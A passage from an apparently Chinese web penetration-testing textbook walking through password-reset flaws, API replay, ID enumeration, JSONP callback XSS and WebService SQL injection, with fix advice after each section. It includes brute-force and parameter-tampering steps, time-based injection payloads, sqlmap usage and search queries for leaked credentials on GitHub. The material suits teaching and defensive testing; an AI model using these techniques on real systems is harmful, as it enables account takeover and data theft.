的找回密码功能模块中要求用户输入手机号并发送验证码，可以\n先将验证码发送到自己手机号来查看验证码是否有规律，可以被暴力枚举。案例中验证码\n为4位数，如图12-7所示。\n图12-7 验证码是4位数字\n步骤二：当确定用户验证码可以暴力枚举后，可以抓取验证码校验请求，对验证码进\n行暴力破解。在验证码未知的情况下，可以先填写任意4位数字，如图12-8所示。\n图12-8 抓取验证请求包\n步骤三：当请求包被拦截后可以观察参数名为mm的请求值是用户的手机号码，参数\n名为pno的请求值是验证码（在还不知道验证码的情况下随意填写的），参数名为pas的参\n数值是验证码校验成功后要修改的密码，如图12-9所示。\n图12-9 验证码校验请求包\n请求包如下：\n步骤四：这里可以将请求包发送到Burp Suite工具中的Intruder模块中，并把pno验证\n码参数设置为变量载入 4 位数字的密码字典进行枚举测试，可以通过 length 响应长度来观\n察payload请求的验证码是否和其他请求不一样，如果发生不一样的情况可能就是真实的\n验证码。如图12-10所示，从响应包内容可以观察出验证码枚举猜解正确并修改密码成\n功。\n图12-10 验证码暴力枚举\n12.2.3 修复建议\n为了避免出现验证码被暴力破解的情况，建议对用户输入的验证码校验采取错误次数\n限制并提高验证码的复杂度。\n12.3 接口参数账号修改测试\n12.3.1 测试原理和方法\n找回密码功能逻辑中常常会在用户修改密码接口提交参数中存在传递用户账号的参\n数，而用户账号参数作为一个可控的变量是可以被篡改的，从而导致修改账号密码的凭证\n或修改的目标账号出现偏差，最终造成任意账号密码修改的漏洞，如图12-11所示。\n图12-11 修改密码接口存在email参数\n通常在找回密码逻辑中，服务端会要求用户提供要修改的账号，然后给这个账号发送\n只有账号主人才能看到的凭证。比如给这个账号主人绑定的邮箱或手机号发送验证码，或\n者找回密码的链接，这样可以保证只有账号主人才可以看到这些凭证。但是如果服务端对\n账号的控制逻辑不当，就会导致原有账号被篡改为其他账号，服务端把凭证发送给篡改后\n的账号的邮箱或手机，最终造成可利用凭证重置任意账号密码的漏洞。\n12.3.2 测试流程\n接口参数账号修改测试流程为拦截前端请求，通过修改请求内邮箱或手机号等参数，\n将修改后数据发送给服务器进行欺骗达到密码重置的目的，如图12-12所示。\n步骤一：在某网站的找回密码功能中，当输入用户账号后会出现发送重置密码邮件的\n按钮。在单击发送按钮时抓包，可以看到用户的邮箱已经出现在了数据包的email参数值\n中，那么尝试将email参数修改为我们自己的邮箱会出现什么情况？如图12-13所示。\n步骤二：修改email参数的值后，网站提示邮件已经发送成功，此时可以打开我们自\n己的邮箱查看修改密码邮件是否收到，如图12-14所示。\n图12-12 接口参数修改流程\n图12-13 修改密码绑定邮箱可修改\n图12-14 发送邮件成功\n步骤三：可以看到修改密码的链接已经发送到邮箱中，打开链接即可修改目标用户的\n密码，尽管目标用户绑定的并不是我们的邮箱，服务端仍将邮件发送到了我们篡改后的邮\n箱中，如图12-15所示。\n图12-15 接收到修改密码邮件\n步骤四：通过上面的案例可以看到，服务端并没有校验这个邮箱是否是该账号绑定的\n邮箱，而是直接向请求中的email参数对应的邮箱发送邮件。类似这种直接修改请求参数\n的情况不仅在发送邮件时存在，如果修改密码请求中包含目标账号参数，也可以通过篡改\n账号参数重置目标账号密码，如图12-16所示。\n图12-16 重置密码页面\n例如，某个找回密码发送给用户邮件中的接口URL如下：\nhttp://www.xxx.com/repwd?account=abcabc@126.com&token=1239392342234\n那么只需要将account参数修改为我们需要的账号，如foo@163.com，修改后如下：\nhttp://www.xxx.com/repwd?account=foo@163&token=1239392342234\n因为这里的Token可重复使用，这样就可以直接修改掉foo@163.com账号的密码了，\n在测试找回密码功能模块时要留意数据包参数中的账号是否可修改。\n12.3.3 修复建议\n对找回密码的 Token 做一对一的校验，一个 Token 只能修改一个用户，同时一定要\n保证Token不泄露。\n12.4 Response状态值修改测试\n12.4.1 测试原理和方法\nResponse状态值修改测试，即修改请求的响应结果来达到密码重置的目的，存在这种\n漏洞的网站或者手机App往往因为校验不严格而导致了非常危险的重置密码操作。\n这种漏洞的利用方式通常是在服务端发送某个密码重置的凭证请求后，出现特定的响\n应值，比如true、1、ok、success等，网站看到回显内容为特定值后即修改密码，通常这\n种漏洞的回显值校验是在客户端进行的，所以只需要修改回显即可。\n12.4.2 测试流程\nResponse 状态值修改测试流程主要是分析服务端校验后的结果，正确和错误分别是\n什么样的返回结果，通过修改返回结果为正确来欺骗客户端，以达到密码重置的目的，如\n图12-17所示。\n图12-17 Response状态值修改测试流程\n步骤一：某网站的找回密码功能需要发送验证码到用户手机，用户输入收到的验证码\n即可重置密码。但是如果他的回显值被修改呢？我们来做个测试，输入要找回的目标手机\n号，短信认证码可以随便填写，然后单击“找回密码”按钮对该请求抓包，如图12-18所\n示。\n图12-18 找回密码页面\n步骤二：可以看到这个请求包含了validateCode和phone两个参数，在Burp Suite中右\n击intercept选项，选择Do intercept→Response to this request，设置后就可以看到这个请求\n的回显Response包了，如图12-19所示，接着单击“Forward”转发这个请求。\n图12-19 设置请求响应拦截\n步骤三：转发后可以看到Response的回显包已经成功接收到了，但是包返回的值是\nfalse，通常false是失败的含义，也就是说服务端校验验证码的时候发现验证码不一致然后\n返回了false给客户端，这里我们可以尝试修改false值为true，然后单击“Intercept is on”按钮\n关闭拦截让数据包正常发送，如图12-20、图12-21所示。\n图12-20 服务端返回false\n步骤四：接着可以看到页面直接跳转到了重置密码页面，如图12-22所示，于是轻松\n达到了任意密码修改的目的，在这个测试过程中只需要知道目标的账号而不需要知道任何\n绑定邮箱或者验证码就可以修改密码。\n图12-21 修改false为true\n图12-22 进入重置密码页面\n12.4.3 修复建议\n注意不要在前端利用服务端返回的值判断是否可以修改密码，要把整个校验环节交给\n服务端验证。\n12.5 Session覆盖测试\n12.5.1 测试原理和方法\n找回密码逻辑漏洞测试中也会遇到参数不可控的情况，比如要修改的用户名或者绑定\n的手机号无法在提交参数时修改，服务端通过读取当前session会话来判断要修改密码的账\n号，这种情况下能否对Session中的内容做修改以达到任意密码重置的目的呢？\n在某网站中的找回密码功能中，业务逻辑是：由用户使用手机进行注册，然后服务端\n向手机发送验证码短信，用户输入验证码提交后，进入密码重置页面。\n对网站中Session覆盖的测试如下：\n（1）需要准备自己的账号接收凭证（短信验证码）；\n（2）获得凭证校验成功后进入密码重置页面；\n（3）在浏览器新标签重新打开找回密码页面，输入目标手机号；\n（4）此时当前 Session 账户已经被覆盖，重新回到第二步中打开的重置密码页面即\n可重置目标手机号。\n12.5.2 测试流程\n步骤一：在找回密码页面中输入 A 手机号（尾号 3274），然后单击“下一步”按钮，\n如图12-23所示。\n图12-23 找回密码第一步\n步骤二：单击“立即验证”按钮，接收短信验证码。输入验证码通过验证后，就可以进\n入密码重置页面了，如图12-24、图12-25所示。\n图12-24 找回密码第二步验证手机号\n图12-25 进入重置密码页面\n步骤三：这里我们密码重置的目标账号是B手机号（尾号为5743），接下来打开一个\n新的标签并进入找回密码第一步的页面，输入B手机号后单击“下一步”按钮，如图12-26所\n示。\n图12-26 新标签重新进入找回密码覆盖session\n步骤四：此时成功进入第二步，向B手机号（尾号为5743）发送验证码。B手机收到\n的短信验证码我们无法得知，但是不要担心，在这一步服务端已经将当前Session会话设\n置为B手机号（尾号为5743）的用户，这个时候再刷新A手机号（尾号3274）密码重置页\n面。\n步骤五：通过观察页面上显示的手机号，可以看出已经由A手机号（尾号3274）改为\n了B手机号（尾号为5743），这说明Session成功覆盖了。这意味着重置密码将修改的是B\n手机号（尾号为5743）的密码，如图12-27所示，这样就又诞生了一个任意密码重置漏\n洞。\n图12-27 重新进入找回密码页面\n12.5.3 修复建议\nSession覆盖类似于账号参数的修改，只是以控制当前Session的方式篡改了要重置密\n码的账号，在重置密码请求中一定要对修改的账号和凭证是否一致做进一步的校验。\n12.6 弱Token设计缺陷测试\n12.6.1 测试原理和方法\n在找回密码功能中，很多网站会向用户邮箱发送找回密码页面链接。用户只需要进入\n邮箱，打开找回密码邮件中的链接，就可以进入密码重置页面了。找回密码的链接通常会\n加入校验参数来确认链接的有效性，通过校验参数的值与数据库生成的值是否一致来判断\n当前找回密码的链接是否有效。\n例如，网站给出的找回密码的url如下，单击这个链接将跳转到重置密码页面。\nhttp://www.xxx.com/findpwd?uid=xx-uu-xx-sxx&token=1497515314\n观察这个链接的参数，uid参数可能是对应修改密码的账户，Token就是之前提到的校\n验参数了，这个参数的值看起来像一个时间戳，猜测系统生成这个token的机制就是使用\n的时间戳。把这个值通过时间格式化后发现确实变成了日期，那么这个Token就是可预测\n的一个时间范围的时间戳，只需要通过这个时间段就可以推测或者暴力枚举出系统生成的\n时间戳值了，如图12-27所示。\n图12-28 时间戳转换\n类似这样的弱Token现象有很多，比如将用户的uid加密成MD5或者base64编码，或者\n直接用uid+4位随机数等这种可预测性的内容作为Token，测试时只需要多发几个找回密码\n的请求观察系统每次发送的找回密码链接中的参数值是否有规律即可。\n12.6.2 测试流程\n步骤一：在类似的接收凭证方式的密码找回功能中，填写邮箱或者手机号，多单击几\n次发送验证信息，可以在邮箱中获得多个找回密码的凭证，如图12-29、图12-30所示。\n图12-29 发送验证信息\n图12-30 接收多个找回密码邮件\n图12-31 找回密码邮件内容\n步骤二：邮箱中收到多封密码找回邮件，观察链接中的密码找回凭证是否有规律可\n循，以下列出几个找回密码的链接。\n第一封邮件：\nhttp://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz dEAxMjYuY29tJjk5NTk=\n第二封邮件：\nhttp://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz dEAxMjYuY29tJjI2ODI=\n第三封邮件：\nhttp://www.xxx.com/index.php?m=CustomerService&a=resetPwdEml&token=dGVz dEAxMjYuY29tJjk4NzY=\n步骤三：通过对比发现Token参数在不断地变化，参数似乎是通过base64编码的，对\n此可以对这三个链接中的Token参数做base64解码操作，结果如表12-1所示\n表12-1 解码结果\n步骤四：解码后可以发现每一个Token的值是可以预测的，Token的生成机制应该\n是“base64编码（用户邮箱+随机4位验证码）”，这样就可以通过暴力枚举获得验证码，加\n上用户名再进行base64编码，最后得到任意用户的密码找回凭证。\n12.6.3 修复建议\n密码找回的Token不能使用时间戳或者用户邮箱和较短有规律可循的数字字符，应当\n使用复杂的Token生成机制让攻击者无法推测出具体的值。\n12.7 密码找回流程绕过测试\n12.7.1 测试原理和方法\n很多网站的密码找回功能一般有以下几个步骤。\n（1）用户输入找回密码的账号；\n（2）校验凭证：向用户发送短信验证码或者找回密码链接，用户回填验证码或单击\n链接进入密码重置页面，以此方式证明当前操作用户是账号主人；\n（3）校验成功进入重置密码页面。\n在找回密码逻辑中，第二步校验凭证最为重要。不是账号主人是无法收到校验凭证\n的，试想有没有办法可以绕过第二步凭证校验，直接进入第三步重置密码呢？\n用户修改密码需要向服务器发送修改密码请求，服务器通过后再修改数据库中相应的\n密码，所以在测试中我们首先要收集三个步骤的请求接口，重点是收集到最后一步重置密\n码的接口，这样我们可以直接跳过凭证校验的接口去尝试直接重置密码。\n在下面的密码找回案例中，需要用户填写要找回的账号然后验证身份，之后才可以进\n入设置新密码的页面，我们需要对这个流程所有请求的接口做分析，找出最后一步重置密\n码的接口，接着使用URL测试是否可以跳过验证身份环节。\n12.7.2 测试流程\n步骤一：先注册一个自己的账号用于测试所有流程，如图 12-32 所示，在找回密码页\n面中先输入自己的账号单击“下一步”按钮，找回密码页面 \nURL \n为\nGET/account/findPassword.html。\n图12-32 找回密码流程界面\n步骤二：进入凭证验证流程，这里使用的是自己的账号，所以直接获取凭证，输入后\n进入下一步，如图 \n12-33 \n所示。当前第二步的验证凭证 \nURL \n为\nGET/forgetpwd/findPassNext.do。\n步骤三：通过验证以后就可以进入第三步重置密码了，如图12-34所示。当前重置密\n码的URL为GET/forgetpwd/emailValidateNext.do。\n图12-33 第二步发送邮箱凭证验证\n图12-34 第三步重置新密码\n步骤四：通过使用自己的账号使用正常顺序流程找回密码成功，我们也获取到了三个\n步骤的所有URL，最后整理如下。\n（1）GET/account/findPassword.html//输入用户账号页面\n（2）GET/forgetpwd/findPassNext.do//验证身份页面\n（3）GET/forgetpwd/emailValidateNext.do//设置新密码页面\n接下来可以尝试在第一步输入账号后进入第二步验证身份页面，在这个页面直接修改\nURL为第三步的URL，访问看看是否可以直接进入密码重置页面，如图12-35所示。\n图12-35 第二步发送邮箱凭证验证\n经过测试以后发现不需要验证身份可以直接进入重置密码页面，如图 12-36 所示，那\n么最重要的验证身份这一步就被轻松绕过了，如图12-37所示。\n图12-36 第二步发送邮箱凭证验证\n图12-37 跳过第二部验证修改密码成功\n12.7.3 修复建议\n防止跳过验证步骤一定要在后端逻辑校验中确认上一步流程已经完成。\n第13章 业务接口调用模块测试\n13.1 接口调用重放测试\n13.1.1 测试原理和方法\n在短信、邮件调用业务或生成业务数据环节中，如短信验证码、邮件验证码、订单生\n成、评论提交等，对业务环节进行调用（重放）测试。如果业务经过调用（重放）后多次\n生成有效的业务或数据结果，可判断为存在接口调用（重放）问题。\n13.1.2 测试过程\n如图13-1所示，在进行接口调用重放测试时，攻击者与普通用户的区别在于他会通过\n工具（如Burp Suite）抓取订单请求，然后在短时间内通过Burp Suite工具的Repeater对请\n求（如订单请求）进行多次重放，服务器则会根据请求在短时间内执行多个有效操作（如\n生成订单）。\n测试过程以某购买机票系统为例。\n步骤一：如图13-2所示，在购买机票“提交订单”环节抓取数据包。\n图13-1 接口调用重放测试流程图\n图13-2 提交订单\n步骤二：如图13-3所示，使用Burp Suite工具对生成订单的数据包进行重放测试。\n步骤三：如图13-4所示，查看返回结果，订单在1分钟内重复生成。\n图13-3 Burp Suite抓取提交订单的请求\n图13-4 一分钟内生成重复订单\n13.1.3 修复建议\n（1）对生成订单环节采用验证码机制，防止生成数据业务被恶意调用。\n（2）每一个订单使用唯一的Token，订单提交一次后，Token失效。\n13.2 接口调用遍历测试\n13.2.1 测试原理和方法\nWeb 接口一般将常见的一些功能需求进行封装，通过传入不同的参数来获取数据或\n者执行相应的功能，其中一个最常见的场景就是通过接口传入id参数，返回对应id的一些\n信息。在安全测试中，我们可以使用Burp \nSuite作为HTTP代理，记录所有请求和响应信\n息，通过Burp Suite以登录后的状态对整站进行爬取，再使用过滤功能找到传入id参数的\nHTTP请求，然后通过Intruder对id参数进行遍历，看是否返回不同的响应信息。如果不同\n的id值对应不同用户的信息，则说明存在漏洞。\n13.2.2 测试过程\n如图13-6所示，攻击者在测试前，使用Brup Suite的爬虫功能对网站进行爬取，然后\n筛选出包含用户标识参数的请求（如id、uid），对筛选后的每一个请求进行分析，判断\n其是否包含敏感信息。如果包含敏感信息，则通过Brup Suite的Intruder设置用户标识参数\n为变量来进行遍历，如果返回他人信息，则漏洞存在。\n图13-5 接口调用遍历测试流程图\n步骤一：如图13-6所示，使用Burp Suite的爬虫功能，从重点关注的目录（一般为网\n站根目录）开始爬取，在 HTTP history 选项卡中选中要开始爬取的项，单击鼠标右键，\n选择“Spider from here”，爬取登录后的网站链接。\n图13-6 使用Burp Suite爬取网站根目录\n如图13-7所示，爬取的结果会在Target→Site map中显示，在爬取完毕后，再使用Burp Suite的过滤功能筛选出带有uid参数的链接，没有包含uid字符串的HTTP请求会被隐藏起\n来，不会在HTTP history中显示。\n图13-7 过滤出带有uid的请求\n如图13-8所示，在请求中找到uid参数出现的位置。\n图13-8 定位uid参数的出现位置\n步骤二：如图13-9所示，查看对应的HTTP请求的响应包中是否带有想要的信息。由\nHTTP \n请求的参数我们可以猜测到这个请求的功能，如 \nmethod \n参数值为\nvideo.getUserVideoRecordList，作用是获取对应 uid 的视频播放的历史记录，由响应内容\n可以确定。\n图13-9 查看对应的请求和响应\nHTTP响应中包含一些敏感信息，如观看视频时的ip 地址、视频id、视频的标题等。\n如图13-9所示，第一个title的值为All Polished&＃039；"；<；\\/img>；，在浏览\n器的console终端通过document.write函数解码输出后，得到All Polished'\"</img，如图13-10\n所示。\n如图13-11所示，将title的值和视频历史播放记录进行比较，可以发现完全一致。\n图13-10 解码响应中的title值\n图13-11 与历史播放记录进行比较\n步骤三：如图13-12所示，将HTTP请求发送到Intruder，设置后四位数字为变量，进\n行遍历测试。\n图13-12 发送到Intruder\n如图13-13所示，我们设置后四位数字为变量。\n图13-13 设置变量\n如图13-14所示，设置Payload为0000～9999的数字。\n图13-14 设置payload\n设置完Payload后，单击“Start attack”按钮即可开始遍历测试。\n步骤四：分析 Intruder 的测试结果，不存在对应的 uid 时，服务器会返回 code为-201\n的响应；存在时，返回的响应会包含\"ip\"（带双引号）这个字符串，以此来过滤出成功的\n请求，如图13-15所示。\n图13-15 对Interder结果进行过滤\n如图13-16所示，可以看到过滤后的请求，均是有播放记录的请求，确认存在接口调\n用遍历测试漏洞。\n图13-16 确认漏洞\n13.2.3 修复建议\n在Session中存储当前用户的凭证或者id，只有传入凭证或者id参数值与Session中的一\n致才返回数据内容。\n13.3 接口调用参数篡改测试\n13.3.1 测试原理和方法\n在短信、邮件调用业务环节中，例如短信验证码、邮件验证码。修改对应请求中手机\n号或邮箱地址参数值提交后，如果修改后的手机号或邮箱收到系统发送的信息，则表示接\n口数据调用参数可篡改。\n13.3.2 测试过程\n如图13-17所示，攻击者拥有账号B，用户拥有账号A。攻击者对账号A进行密码找回\n操作，服务器给账号 A 的邮箱或者手机发送密码重置信息，攻击者进入验证码验证环\n节，此时攻击者单击“重新发送验证码”并拦截重新发送这个请求，将请求中的接收验证码\n用户的邮箱或者手机修改为自己的。如果接收到密码重置信息，则存在漏洞。\n图13-17 接口调用参数篡改测试流程图\n测试过程以某手机App系统为例。\n步骤一：如图13-18所示，在短信验证码页面单击“重新发送”同时抓取数据包。\n图13-18 发送验证码并使用Burp Suite抓包\n步骤二：如图13-19所示，在截取数据中将param.telno参数（指定发送手机号码）修\n改为其他手机号码。\n图13-19 Burp Suite修改参数值\n步骤三：如图13-20所示，修改后被指定的手机号收到相应验证码短信。\n图13-20 确认漏洞\n13.3.3 修复建议\n（1）会话Session中存储重要的凭证，在忘记密码、重新发送验证码等业务中，从\nSession获取用户凭证而不是从客户请求的参数中获取。\n（2）从客户端处获取手机号、邮箱等账号信息，要与 Session 中的凭证进行对比，\n验证通过后才允许进行业务操作。\n13.4 接口未授权访问/调用测试\n13.4.1 测试原理和方法\n在正常的业务中，敏感功能的接口需要对访问者的身份进行验证，验证后才允许调用\n接口进行操作。如果敏感功能接口没有身份校验，那么攻击者无须登录或者验证即可调用\n接口进行操作。在安全测试中，我们可以使用Burp Suite作为HTTP代理，在登录状态下记\n录所有请求和响应信息，筛选出敏感功能、返回敏感数据的请求。在未登录的情况下，使\n用浏览器访问对应敏感功能的请求，如果返回的数据与登录状态后的一致，则存在漏洞或\n缺陷。\n13.4.2 测试过程\n如图13-21所示，攻击者在测试前，使用Brup Suite的爬虫功能对网站进行爬取，通过\nMIME \nType筛选出与接口相关的请求，对筛选后的每一个请求进行判断是否包含敏感信\n息。如果包含敏感信息，则复制请求URL到未进行登录的浏览器进行访问，如果访问后返\n回之前的敏感信息，则存在漏洞。\n图13-21 接口未授权访问测试流程图\n步骤一：登录后使用Burp \nSuite的爬虫功能，从重点关注的目录（一般为网站根目\n录）开始爬取，在HTTP \nhistory选项卡中选中要开始爬取的项，右键选择“Spider \nfrom\nhere”。爬取的结果会在Target→Site \nmap中显示。如图13-20所示，在爬取完毕后，使用\nBurp Suite的MIME type过滤功能，筛选出接口相关的HTTP请求，重点关注json、script、\nxml、text MIME type等。\n图13-22 对MIME type进行过滤\n步骤二：如图12-23所示，对接口相关的请求进行查看，查看响应中是否包含想要的\n敏感信息，如个人电话、IP地址、兴趣爱好、网站历史记录、身份证、手机号、住址等信\n息。\n图13-23 查找包含敏感信息的HTTP请求\n通过查看响应包的具体信息，可以发现返回页面包含敏感信息，如ip地址、视频的历\n史播放等信息，通过这些信息可以了解其位置及关注点。\n步骤三：如图13-24所示，将完整的请求URL复制到未登录的浏览器中，查看能否访\n问对应URL的内容。如果能够返回敏感信息，则说明漏洞存在；如果需要登录验证后才能\n访问，则不存在该漏洞。\n图13-24 未登录状态下访问URL\n在未进行登录的浏览器上，能够直接返回对应URL的页面内容而无须验证其身份，则\n该网站存在接口未授权访问的漏洞。\n13.4.3 修复建议\n（1）采用Token校验的方式，在url中添加一个Token参数，只有Token验证通过才返\n回接口数据且Token使用一次后失效。\n（2）在接口被调用时，后端对会话状态进行验证，如果已经登录，便返回接口数\n据；如果未登录，则返回自定义的错误信息。\n13.5 Callback自定义测试\n13.5.1 测试原理和方法\n在浏览器中存在着同源策略，所谓同源是指域名、协议、端口相同。当使用Ajax异步\n传输数据时，非同源域名之间会存在限制。其中有一种解决方法是JSONP（JSON \nwith\nPadding），基本原理是利用了HTML里<script></script>元素标签，远程调用JSON文件来\n实现数据传递。JSONP 技术中一般使用 Callback（回调函数）参数来声明回调时所使用的\n函数名，这里往往存在安全问题，由于没有使用白名单的方法进行限制Callback的函数\n名，导致攻击者可以自定义Callback内容，从而触发XSS等漏洞。\n13.5.2 测试过程\n如图13-25所示，攻击者在测试前，使用Brup Suite的爬虫功能对网站进行爬取，筛选\n出带有Callback或者jsonp参数的请求，对请求响应的Content-Type进行判断，如果Content-Type为text/html，则进行下一步，接着攻击者对Callback参数进行分析，如果Callback参数\n允许攻击插入HTML标签，则存在漏洞。\n图13-25 CallBack测试流程图\n步骤一：如图13-26所示，使用Burp Suite的爬虫功能，从重点关注的目录（一般为网\n站根目录）开始爬取，在 HTTP history 选项卡中选中要开始爬取的项，右键选择“Spider from here”。\n如图13-27所示，爬取的结果会在Target→Site \nmap中显示。在爬取完毕后，再使用\nBurp Suite的过滤功能找到带有Callback参数的链接，如图13-28所示。\n图13-26 从网站根目录开始爬取\n图13-27 切换到Site map标签页\n图13-28 使用callback关键词进行过滤\n在输入关键词之后，再单击图13-28中序号“1”的位置即可让过滤生效。步骤二：如图\n13-29所示，找到URL带有callback参数的链接。\n图13-29 定位到callback参数位置\n步骤三：查看URL对应的HTTP \nResponse的Content-Type类型是否为text/html。如果\nContent-Type为text/html，我们输入的HTML标签才会被浏览器解析。如图12-30所示，\nContent-Type类型为text/html，将对应的请求发送到Repeater，继续步骤四。\n图13-30 观察响应的Content-Type\n步骤四：如图13-31所示，查看callback参数是否存在过滤及可控，这时我们需要在\ncallback参数值前追加一些文本类的HTML标签，不直接使用script等标签是避免waf等防护\n设备的检测。我们这里使用的HTML标签是一级标题标签<h1>。\n如图13-32所示，根据Response的内容，我们可以了解到callback参数不存在过滤及可\n控。进一步测试发现info参数对Response的输出内容没有影响，删除掉info参数，精简\nURL。\n图13-31 测试callback参数是否可控\n图13-32 精简漏洞URL\n步骤五：如图13-33所示，将callback参数更换成带有恶意行为的HTML标签，进行利\n用。\n图13-33 确认漏洞\n13.5.3 修复建议\n（1）严格定义 HTTP 响应中的 Content-Type 为 json 数据格式：Content-Type：\napplication/json。\n（2）建立callback函数白名单，如果传入的callback参数值不在白名单内，跳转到统\n一的异常界面阻止其继续输出。\n（3）对callback参数进行HTML实体编码来过滤掉“<”、“>”等字符。\n13.6 WebService测试\n13.6.1 测试原理和方法\nWebService是一种跨编程语言和跨操作系统平台的远程调用技术。XML+XSD、\nSOAP（Simple Object Access Protocol）和WSDL（Web Services Description Language）就\n是构成WebService平台的三大技术，其中XML+XSD用来描述、表达要传输的数据；\nSOAP是用于交换XML编码信息的轻量级协议，一般以XML或者XSD作为载体，通过\nHTTP协议发送请求和接收结果，SOAP协议会在HTTP协议的基础上增加一些特定的\nHTTP消息头；WSDL是一个基于XML的用于描述Web Service及其函数、参数和返回值的\n语言。\n通过上面的描述，我们可以知道WebService就是一个应用程序向外界暴露出一个能通\n过Web进行调用的API。这个API接收用户输入的参数，然后返回相关的数据内容。如果\n一个WebService完全信任用户的输入，不进行过滤，则有可能导致SQL注入漏洞的发生。\n13.6.2 测试过程\n如图13-34所示，攻击者在测试前，通过爬虫或者目录扫描等方法找到服务器的\nWebService链接，接着使用WVS（Web Vulnerability Scanner）的Web Services Editor功能\n导入各个接口函数，通过关键词（如Get、Exec）定位到相关的接口函数，通过HTTP\nEditor对每一个接口函数的输入参数进行测试（如SQL注入、文件上传等），如果出现预\n期效果（如数据库报错、不同的延时等），则存在漏洞。\n图13-34 WebService测试流程图\n步骤一：找到服务器的WebService的链接，在WebService后面加上“？wsdl”，服务器\n便会返回WSDL描述函数信息，如图13-35所示。\n步骤二：如图13-36所示，使用WVS（Web \nVulnerability \nScanner），单击左边栏\n的“Web Services Editor”。\n在Operation选项列表中，可以看到WebService定义的多个函数，选择其中一个，\nWVS便会显示需要输入的参数值。在选择的时候，我们尽量选择一些可能会涉及数据库\n操作的函数，比如函数名以Get开头的，一般是从数据库返回一些信息；比如以Exec开头\n的，一般是直接执行SQL语句或者特定指令。如图13-37所示，这里选择的是\nExecNonQuery函数，从函数名可以看出，这应该是用来执行非查询语句的接口。其中接\n收一个名为sql的参数，从命名看，这个参数应该用来指定要执行的SQL语句。\n图13-35 获取WebService链接\n图13-36 使用WVS查看WebService\n图13-37 查看ExecNonQuery函数的参数细节\n步骤三：如图13-38所示，单击“HTTP Editor”切换到HTTP请求界面，我们可以发送\nSOAP请求，以及接收请求后的响应。\n图13-38 单击“HTTP Editor”切换到HTTP请求\n如图13-39所示，我们修改sql参数的值为“1'”，查看响应内容。\n图13-39 修改sql参数\n如图13-40所示，结合微软官方的文档信息，System.Data.SqlClient.SqlConnection 是.NET Framework 连接 SQL Server 的类库，由此可知后端数据库使用的是 SQL Server数\n据库。\n步骤四：如图13-41所示，在了解数据库类型后，我们可以使用具体的非查询类的\nSQL语句去测试输入参数是否存在SQL注入漏洞。这里要使用select语句等查询类的SQL语\n句，其返回响应为false。\n图13-40 分析异常信息\n图13-41 测试非查询语句\n测试是否存在漏洞，应该使用延时类的SQL语句，通过返回响应的时间间隔来确认是\n否可以直接执行SQL语句。这里由于是SQL Server，应该使用SQL Server的延时语句，所\n以使用“waitfor delay'0：0：3'”，这里'0：0：3'代表3秒。如图13-42所示，WVS显示的时间\n间隔大于3000 ms，与SQL语句延时的时间一致，存在漏洞。\n图13-42 延时注入3秒\n如图13-43所示，延时5秒“waitfor delay'0：0：5'”。\n图13-43 延时注入5秒\n步骤五：剩下的利用步骤和常规的 SQL 注入测试一致，使用 Wireshark 或者Burp Suite将WebService的请求抓取下来，保存到文本文件。在需要测试的参数值处添加星\n号“*”，如图13-44所示。\n图13-44 保存请求到文件中\n然后通过sqlmap对参数进行检测即可，sqlmap对应的具体参数是-r，如图13-45和图\n13-46所示。\n图13-45 使用sqlmap进行测试\n图13-46 确认漏洞存在\n13.6.3 修复建议\n（1）为WebService添加身份认证，认证成功后才允许访问和调用。\n（2）WebService中接收输入参数的函数，在后端应该对输入参数进行过滤及净化，\n在处理后才入库查询。\n（3）在敏感功能的函数中，添加密码认证，认证后才允许调用敏感功能的函数。\n实践篇\n第14章 账号安全案例总结\n14.1 账号安全归纳\n随着网络的快速发展，出现了种类繁多的网络应用，包括E-mail、IM即时聊天工具\n（QQ、MSN）、网络商店、BBS论坛、网络游戏等。各类应用均需要身份识别，因此身\n份认证是网络信息安全的基本保障。网络服务器通过身份认证与访问控制的方式对合法注\n册用户进行授权。用户首先通过注册（账号与密码）成为网络服务器的合法用户，只有通\n过身份认证的用户才能访问资源。账号与密码成为各类网络应用必不可少的一部分，与此\n同时账号和密码所面临的安全问题也越来越多。\n例如，2011年某网站上600万用户资料可公开下载，而其存储密码的方式还是明文。\n同时，2015年某论坛泄露2300万用户的信息，泄露的2300万用户数据包括用户名、注册邮\n箱、加密后的密码等。2015年10月，某漏洞报告平台接到一起数据泄密报告后发布新漏\n洞，该漏洞显示某网站用户数据库疑似泄露，影响到过亿数据，泄露信息包括用户名、密\n码、密码密保信息、登录IP及用户生日等。\n互联网上关于账号的安全问题日益凸显，本章总结的关于账号安全的相关漏洞包括密\n码泄漏、暴力破解、弱口令、密码重置、登录账号绕过、重放攻击、网络钓鱼、信息泄\n露、中间人攻击等。希望广大读者可以引以为鉴，不再出现此类问题。\n14.2 账号安全相关案例\n14.1.1 账号密码直接暴露在互联网上\nGitHub是一个分布式的版本控制系统，开发者可以通过GitHub上传项目源代码。不过\n由于开发者的安全意识不足，可能会上传部分敏感信息，包括邮件的账号密码、数据库的\n配置信息、管理员的密码、备份文件、重要源代码等。\n通过搜索引擎可灵活查找各类敏感信息，搜索语法如下。\n（1）邮件配置信息查询：site：Github.com smtp password；\n（2）数据库信息泄露：site：Github.com sa password；\n（3）svn信息泄露：site：Github.com svn；\n（4）数据库备份文件：site：Github.com inurl：sql。\n14.2.1.1 某企业数据库配置信息泄露\n步骤一：利用各类搜索引擎搜索敏感文件，搜索的语法为“site：github.com password”，就可以直接在GitHub网站上找到配置信息。如图14-1所示，可以获得某企业\n数据库配置信息。\n图14-1 数据库配置信息\n步骤二：利用数据库配置信息成功登录数据库，可获得大量企业用户信息，如图14-2\n所示。\n图14-2 成功登录数据库\n14.2.1.2 某著名厂商数千名员工信息泄漏\n步骤一：通过GitHub查找到某厂商的一个开源项目，如图14-3所示，发现其中一份文\n件包含一个加密信息。\n图14-3 网站配置信息\n步骤二：通过base64解密，发现是一个HTTP请求包，并且包含Cookies值。将请求包\n的内容复制到浏览器即可登录内部系统，如图14-4所示。\n图14-4 利用数据包登录后台\n步骤三：如图14-5所示，在该系统可以获得该企业数千名员工信息。\n图14-5 内部通讯录\n14.1.2 无限制登录任意账号\n由于各类应用的安全防护手段参差不齐，导致攻击者可以利用漏洞绕过登录限制，或\n者利用已经认证的用户，通过修改身份ID登录任意账号。\n14.2.2.1 某大学网站SQL注入漏洞可绕过登录限制\n步骤一：某学校网站后台为http：//www.xxx.edu.cn/login.asp，登录界面如图14-6所\n示。\n图14-6 